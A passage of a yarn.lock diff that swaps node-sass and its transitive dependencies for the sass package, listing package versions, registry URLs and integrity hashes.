"https://registry.yarnpkg.com/node-html-parser/-/node-html-parser-6.1.13.tgz#a1df799b83df5c6743fcd92740ba14682083b7e4" @@ -15481,26 +15221,6 @@ node-res@^5.0.1: on-finished "^2.3.0" vary "^1.1.2" -node-sass@9.0.0: - version "9.0.0" - resolved "https://registry.yarnpkg.com/node-sass/-/node-sass-9.0.0.tgz#c21cd17bd9379c2d09362b3baf2cbf089bce08ed" - integrity sha512-yltEuuLrfH6M7Pq2gAj5B6Zm7m+gdZoG66wTqG6mIZV/zijq3M2OO2HswtT6oBspPyFhHDcaxWpsBm0fRNDHPg== - dependencies: - async-foreach "^0.1.3" - chalk "^4.1.2" - cross-spawn "^7.0.3" - gaze "^1.0.0" - get-stdin "^4.0.1" - glob "^7.0.3" - lodash "^4.17.15" - make-fetch-happen "^10.0.4" - meow "^9.0.0" - nan "^2.17.0" - node-gyp "^8.4.1" - sass-graph "^4.0.1" - stdout-stream "^1.4.0" - "true-case-path" "^2.2.1" - nodemon@2.0.22: version "2.0.22" resolved "https://registry.yarnpkg.com/nodemon/-/nodemon-2.0.22.tgz#182c45c3a78da486f673d6c1702e00728daf5258" @@ -15517,13 +15237,6 @@ nodemon@2.0.22: touch "^3.1.0" undefsafe "^2.0.5" -nopt@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/nopt/-/nopt-5.0.0.tgz#530942bb58a512fccafe53fe210f13a25355dc88" - integrity sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ== - dependencies: - abbrev "1" - nopt@^7.2.0: version "7.2.0" resolved "https://registry.yarnpkg.com/nopt/-/nopt-7.2.0.tgz#067378c68116f602f552876194fd11f1292503d7" @@ -15548,16 +15261,6 @@ normalize-package-data@^2.3.2, normalize-package-data@^2.3.4, normalize-package- semver "2 || 3 || 4 || 5" validate-npm-package-license "^3.0.1" -normalize-package-data@^3.0.0: - version "3.0.3" - resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-3.0.3.tgz#dbcc3e2da59509a0983422884cd172eefdfa525e" - integrity sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA== - dependencies: - hosted-git-info "^4.0.1" - is-core-module "^2.5.0" - semver "^7.3.4" - validate-npm-package-license "^3.0.1" - normalize-path@^2.1.1: version "2.1.1" resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9" @@ -15619,16 +15322,6 @@ npmlog@^5.0.1: gauge "^3.0.0" set-blocking "^2.0.0" -npmlog@^6.0.0: - version "6.0.2" - resolved "https://registry.yarnpkg.com/npmlog/-/npmlog-6.0.2.tgz#c8166017a42f2dea92d6453168dd865186a70830" - integrity sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg== - dependencies: - are-we-there-yet "^3.0.0" - console-control-strings "^1.1.0" - gauge "^4.0.3" - set-blocking "^2.0.0" - nth-check@^1.0.2: version "1.0.2" resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c" @@ -17496,14 +17189,6 @@ promise-inflight@^1.0.1: resolved "https://registry.yarnpkg.com/promise-inflight/-/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3" integrity sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g== -promise-retry@^2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/promise-retry/-/promise-retry-2.0.1.tgz#ff747a13620ab57ba688f5fc67855410c370da22" - integrity sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g== - dependencies: - err-code "^2.0.2" - retry "^0.12.0" - promise.allsettled@^1.0.0: version "1.0.7" resolved "https://registry.yarnpkg.com/promise.allsettled/-/promise.allsettled-1.0.7.tgz#b9dd51e9cffe496243f5271515652c468865f2d8" @@ -17969,11 +17654,6 @@ queue-microtask@^1.2.2: resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243" integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A== -quick-lru@^4.0.1: - version "4.0.1" - resolved "https://registry.yarnpkg.com/quick-lru/-/quick-lru-4.0.1.tgz#5b8878f113a58217848c6482026c73e1ba57727f" - integrity sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g== - ramda@0.29.0: version "0.29.0" resolved "https://registry.yarnpkg.com/ramda/-/ramda-0.29.0.tgz#fbbb67a740a754c8a4cbb41e2a6e0eb8507f55fb" @@ -18172,6 +17852,11 @@ readdirp@^2.2.1: micromatch "^3.1.10" readable-stream "^2.0.2" +readdirp@^4.0.1: + version "4.1.2" + resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-4.1.2.tgz#eb85801435fbf2a7ee58f19e0921b068fc69948d" + integrity sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg== + readdirp@~3.6.0: version "3.6.0" resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.6.0.tgz#74a370bd857116e245b29cc97340cd431a02a6c7" @@ -18208,14 +17893,6 @@ redent@^1.0.0: indent-string "^2.1.0" strip-indent "^1.0.1" -redent@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/redent/-/redent-3.0.0.tgz#e557b7998316bb53c9f1f56fa626352c6963059f" - integrity sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg== - dependencies: - indent-string "^4.0.0" - strip-indent "^3.0.0" - refractor@^3.6.0: version "3.6.0" resolved "https://registry.yarnpkg.com/refractor/-/refractor-3.6.0.tgz#ac318f5a0715ead790fcfb0c71f4dd83d977935a" @@ -18711,16 +18388,6 @@ sane@^4.0.3: minimist "^1.1.1" walker "~1.0.5" -sass-graph@^4.0.1: - version "4.0.1" - resolved "https://registry.yarnpkg.com/sass-graph/-/sass-graph-4.0.1.tgz#2ff8ca477224d694055bf4093f414cf6cfad1d2e" - integrity sha512-5YCfmGBmxoIRYHnKK2AKzrAkCoQ8ozO+iumT8K4tXJXRVCPf+7s1/9KxTSW3Rbvf+7Y7b4FR3mWyLnQr3PHocA== - dependencies: - glob "^7.0.0" - lodash "^4.17.11" - scss-tokenizer "^0.4.3" - yargs "^17.2.1" - sass-loader@10.5.2: version "10.5.2" resolved "https://registry.yarnpkg.com/sass-loader/-/sass-loader-10.5.2.tgz#1ca30534fff296417b853c7597ca3b0bbe8c37d0" @@ -18732,6 +18399,17 @@ sass-loader@10.5.2: schema-utils "^3.0.0" semver "^7.3.2" +sass@^1.94.2: + version "1.94.2" + resolved "https://registry.yarnpkg.com/sass/-/sass-1.94.2.tgz#198511fc6fdd2fc0a71b8d1261735c12608d4ef3" + integrity sha512-N+7WK20/wOr7CzA2snJcUSSNTCzeCGUTFY3OgeQP3mZ1aj9NMQ0mSTXwlrnd89j33zzQJGqIN52GIOmYrfq46A== + dependencies: + chokidar "^4.0.0" + immutable "^5.0.2" + source-map-js ">=0.6.2 <2.0.0" + optionalDependencies: + "@parcel/watcher" "^2.4.1" + sax@~1.2.4: version "1.2.4" resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9" @@ -18798,14 +18476,6 @@ schema-utils@^4.0.0: ajv-formats "^2.1.1" ajv-keywords "^5.1.0" -scss-tokenizer@^0.4.3: - version "0.4.3" - resolved "https://registry.yarnpkg.com/scss-tokenizer/-/scss-tokenizer-0.4.3.tgz#1058400ee7d814d71049c29923d2b25e61dc026c" - integrity sha512-raKLgf1LI5QMQnG+RxHz6oK0sL3x3I4FN2UDLqgLOGO8hodECNnNh5BXn7fAyBxrA8zVzdQizQ6XjNJQ+uBwMw== - dependencies: - js-base64 "^2.4.9" - source-map "^0.7.3" - scule@^0.2.1: version "0.2.1" resolved "https://registry.yarnpkg.com/scule/-/scule-0.2.1.tgz#0c1dc847b18e07219ae9a3832f2f83224e2079dc" @@ -19098,11 +18768,6 @@ slice-ansi@^4.0.0: astral-regex "^2.0.0" is-fullwidth-code-point "^3.0.0" -smart-buffer@^4.2.0: - version "4.2.0" - resolved "https://registry.yarnpkg.com/smart-buffer/-/smart-buffer-4.2.0.tgz#6e1d71fa4f18c05f7d0ff216dd16a481d0e8d9ae" - integrity sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg== - snapdragon@^0.8.1: version "0.8.2" resolved "https://registry.yarnpkg.com/snapdragon/-/snapdragon-0.8.2.tgz#64922e7c565b0e14204ba1aa7d6964278d25182d" @@ -19117,32 +18782,6 @@ snapdragon@^0.8.1: source-map-resolve "^0.5.0" use "^3.1.0" -socks-proxy-agent@^6.0.0: - version "6.2.1" - resolved "https://registry.yarnpkg.com/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz#2687a31f9d7185e38d530bef1944fe1f1496d6ce" - integrity sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ== - dependencies: - agent-base "^6.0.2" - debug "^4.3.3" - socks "^2.6.2" - -socks-proxy-agent@^7.0.0: - version "7.0.0" - resolved "https://registry.yarnpkg.com/socks-proxy-agent/-/socks-proxy-agent-7.0.0.tgz#dc069ecf34436621acb41e3efa66ca1b5fed15b6" - integrity sha512-Fgl0YPZ902wEsAyiQ+idGd1A7rSFx/ayC1CQVMw5P+EQx2V0SgpGtf6OKFhVjPflPUl9YMmEOnmfjCdMUsygww== - dependencies: - agent-base "^6.0.2" - debug "^4.3.3" - socks "^2.6.2" - -socks@^2.6.2: - version "2.8.4" - resolved "https://registry.yarnpkg.com/socks/-/socks-2.8.4.tgz#07109755cdd4da03269bda4725baa061ab56d5cc" - integrity sha512-D3YaD0aRxR3mEcqnidIs7ReYJFVzWdd6fXJYUM8ixcQcJRGTka/b3saV0KflYhyVJXKhb947GndU35SxYNResQ== - dependencies: - ip-address "^9.0.5" - smart-buffer "^4.2.0" - sort-keys@^1.0.0: version "1.1.2" resolved "https://registry.yarnpkg.com/sort-keys/-/sort-keys-1.1.2.tgz#441b6d4d346798f1b4e49e8920adfba0e543f9ad" @@ -19162,6 +18801,11 @@ source-list-map@^2.0.0: resolved "https://registry.yarnpkg.com/source-list-map/-/source-list-map-2.0.1.tgz#3993bd873bfc48479cca9ea3a547835c7c154b34" integrity sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw== +"source-map-js@>=0.6.2 <2.0.0": + version "1.2.1" + resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.2.1.tgz#1ce5650fddd87abc099eda37dcff024c2667ae46" + integrity sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA== + source-map-js@^1.0.1, source-map-js@^1.0.2: version "1.0.2" resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.0.2.tgz#adbc361d9c62df380125e7f161f71c826f1e490c" @@ -19284,11 +18928,6 @@ split-string@^3.0.1: dependencies: extend-shallow "^3.0.0" -sprintf-js@^1.1.3: - version "1.1.3" - resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.1.3.tgz#4914b903a2f8b685d17fdf78a70e917e872e444a" - integrity sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA== - sprintf-js@~1.0.2: version "1.0.3" resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c" @@ -19301,20 +18940,13 @@ ssri@^6.0.1: dependencies: figgy-pudding "^3.5.1" -ssri@^8.0.0, ssri@^8.0.1: +ssri@^8.0.1: version "8.0.1" resolved "https://registry.yarnpkg.com/ssri/-/ssri-8.0.1.tgz#638e4e439e2ffbd2cd289776d5ca457c4f51a2af" integrity sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ== dependencies: minipass "^3.1.1" -ssri@^9.0.0: - version "9.0.1" - resolved "https://registry.yarnpkg.com/ssri/-/ssri-9.0.1.tgz#544d4c357a8d7b71a19700074b6883fcb4eae057" - integrity sha512-o57Wcn66jMQvfHG1FlYbWeZWW/dHZhJXjpIcTfXldXEk5nz5lStPo3mK0OJQfGR3RbZUlbISexbljkJzuEj/8Q== - dependencies: - minipass "^3.1.1" - stable@^0.1.8: version "0.1.8" resolved "https://registry.yarnpkg.com/stable/-/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf" @@ -19370,13 +19002,6 @@ std-env@^3.7.0: resolved "https://registry.yarnpkg.com/std-env/-/std-env-3.9.0.tgz#1a6f7243b339dca4c9fd55e1c7504c77ef23e8f1" integrity sha512-UGvjygr6F6tpH7o2qyqR6QYpwraIjKSdtzyBdyytFOHmPZY917kwdwLG0RbOjWOnKmnm3PeHjaoLLMie7kPLQw== -stdout-stream@^1.4.0: - version "1.4.1" - resolved "https://registry.yarnpkg.com/stdout-stream/-/stdout-stream-1.4.1.tgz#5ac174cdd5cd726104aa0c0b2bd83815d8d535de" - integrity sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA== - dependencies: - readable-stream "^2.0.1" - stop-iteration-iterator@^1.0.0: version "1.0.0" resolved "https://registry.yarnpkg.com/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz#6a60be0b4ee757d1ed5254858ec66b10c49285e4" @@ -20016,18 +19641,6 @@ tar@^6.0.2: mkdirp "^1.0.3" yallist "^4.0.0" -tar@^6.1.11, tar@^6.1.2: - version "6.2.1" - resolved "https://registry.yarnpkg.com/tar/-/tar-6.2.1.tgz#717549c541bc3c2af15751bea94b1dd068d4b03a" - integrity sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A== - dependencies: - chownr "^2.0.0" - fs-minipass "^2.0.0" - minipass "^5.0.0" - minizlib "^2.1.1" - mkdirp "^1.0.3" - yallist "^4.0.0" - telejson@^6.0.8: version "6.0.8" resolved "https://registry.yarnpkg.com/telejson/-/telejson-6.0.8.tgz#1c432db7e7a9212c1fbd941c3e5174ec385148f7" @@ -20371,11 +19984,6 @@ trim-newlines@^1.0.0: resolved "https://registry.yarnpkg.com/trim-newlines/-/trim-newlines-1.0.0.tgz#5887966bb582a4503a41eb524f7d35011815a613" integrity sha512-Nm4cF79FhSTzrLKGDMi3I4utBtFv8qKy4sq1enftf2gMdpqI8oVQTAfySkTz5r49giVzDj88SVZXP4CeYQwjaw== -trim-newlines@^3.0.0: - version "3.0.1" - resolved "https://registry.yarnpkg.com/trim-newlines/-/trim-newlines-3.0.1.tgz#260a5d962d8b752425b32f3a7db0dcacd176c144" - integrity sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw== - trim-trailing-lines@^1.0.0: version "1.1.4" resolved "https://registry.yarnpkg.com/trim-trailing-lines/-/trim-trailing-lines-1.1.4.tgz#bd4abbec7cc880462f10b2c8b5ce1d8d1ec7c2c0" @@ -20391,11 +19999,6 @@ trough@^1.0.0: resolved "https://registry.yarnpkg.com/trough/-/trough-1.0.5.tgz#b8b639cefad7d0bb2abd37d433ff8293efa5f406" integrity sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA== -"true-case-path@^2.2.1": - version "2.2.1" - resolved "https://registry.yarnpkg.com/true-case-path/-/true-case-path-2.2.1.tgz#c5bf04a5bbec3fd118be4084461b3a27c4d796bf" - integrity sha512-0z3j8R7MCjy10kc/g+qg7Ln3alJTodw9aDuVWZa3uiWqfuBMKeAeP2ocWcxoyM3D73yz3Jt/Pu4qPr4wHSdB/Q== - ts-dedent@^2.0.0: version "2.2.0" resolved "https://registry.yarnpkg.com/ts-dedent/-/ts-dedent-2.2.0.tgz#39e4bd297cd036292ae2394eb3412be63f563bb5" @@ -20481,11 +20084,6 @@ type-fest@^0.16.0: resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.16.0.tgz#3240b891a78b0deae910dbeb86553e552a148860" integrity sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg== -type-fest@^0.18.0: - version "0.18.1" - resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.18.1.tgz#db4bc151a4a2cf4eebf9add5db75508db6cc841f" - integrity sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw== - type-fest@^0.20.2: version "0.20.2" resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4" @@ -20780,13 +20378,6 @@ unique-filename@^1.1.1: dependencies: unique-slug "^2.0.0" -unique-filename@^2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/unique-filename/-/unique-filename-2.0.1.tgz#e785f8675a9a7589e0ac77e0b5c34d2eaeac6da2" - integrity sha512-ODWHtkkdx3IAR+veKxFV+VBkUMcN+FaqzUUd7IZzt+0zhDZFPFxhlqwPF3YQvMHx1TD0tdgYl+kuPnJ8E6ql7A== - dependencies: - unique-slug "^3.0.0" - unique-slug@^2.0.0: version "2.0.2" resolved "https://registry.yarnpkg.com/unique-slug/-/unique-slug-2.0.2.tgz#baabce91083fc64e945b0f3ad613e264f7cd4e6c" @@ -20794,13 +20385,6 @@ unique-slug@^2.0.0: dependencies: imurmurhash "^0.1.4" -unique-slug@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/unique-slug/-/unique-slug-3.0.0.tgz#6d347cf57c8a7a7a6044aabd0e2d74e4d76dc7c9" - integrity sha512-8EyMynh679x/0gqE9fT9oilG+qEt+ibFyqjuVTsZn1+CMxH+XLlpvr2UZx4nVcCwTpx81nICr2JQFkM+HPLq4w== - dependencies: - imurmurhash "^0.1.4" - unique-string@^2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/unique-string/-/unique-string-2.0.0.tgz#39c6451f81afb2749de2b233e3f7c5e8843bd89d" @@ -21641,14 +21225,14 @@ which@^1.2.12, which@^1.3.1: dependencies: isexe "^2.0.0" -which@^2.0.1, which@^2.0.2: +which@^2.0.1: version "2.0.2" resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1" integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA== dependencies: isexe "^2.0.0" -wide-align@^1.1.2, wide-align@^1.1.5: +wide-align@^1.1.2: version "1.1.5" resolved "https://registry.yarnpkg.com/wide-align/-/wide-align-1.1.5.tgz#df1d4c206854369ecf3c9a4898f1b23fbd9d15d3" integrity sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg== @@ -21861,11 +21445,6 @@ yargs-parser@^18.1.2: camelcase "^5.0.0" decamelize "^1.2.0" -yargs-parser@^20.2.3: - version "20.2.9" - resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.9.tgz#2eb7dc3b0289718fc295f362753845c41a0c94ee" - integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w== - yargs-parser@^21.1.1: version "21.1.1" resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-21.1.1.tgz#9096bceebf990d21bb31fa9516e0ede294a77d35" @@ -21888,7 +21467,7 @@ yargs@^15.0.2: y18n "^4.0.0" yargs-parser "^18.1.2" -yargs@^17.2.1, yargs@^17.3.1: +yargs@^17.3.1: version "17.7.2" resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.7.2.tgz#991df39aca675a192b816e1e0363f9d75d2aa269" integrity sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==